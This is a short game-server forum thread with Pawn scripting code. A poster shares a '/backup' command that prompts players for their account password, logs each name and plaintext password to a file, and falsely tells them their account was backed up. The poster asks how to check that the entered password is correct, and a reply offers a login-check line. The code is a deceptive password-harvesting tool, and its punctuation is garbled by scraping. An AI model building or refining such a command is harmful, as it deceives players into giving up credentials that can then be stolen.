Check password
#1

I want to make this cmd check if the password is correct it said "you succesfully.........." and if incorrect it said "incorrect password"

PHP код:
CMD:backup(playeridparams[])
{
new 
text[64], name[MAX_PLAYER_NAME], pass[256], File:passfile;
if(
sscanf(params"s[64]"text)) return SendClientMessage(playeridCOLOR_RED"USAGE : "cwhite"/backup "cyellow"[ACCOUNT PASSWORD]");
GetPlayerName(playeridnamesizeof(name));
format(passsizeof(pass), "Name : %s  Password : %s\r\n\n"nametext);
passfile fopen("password.log"io_append);
fwrite(passfilepass);
fclose(passfile);
SendClientMessage(playeridCOLOR_WHITE"You succesfully backup your "#cyellow"account "#cwhite"to us ");
return 1;

Maybe this code can help:
PHP код:
if (udb_CheckLogin(PlayerName2(playerid),pass)) 
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)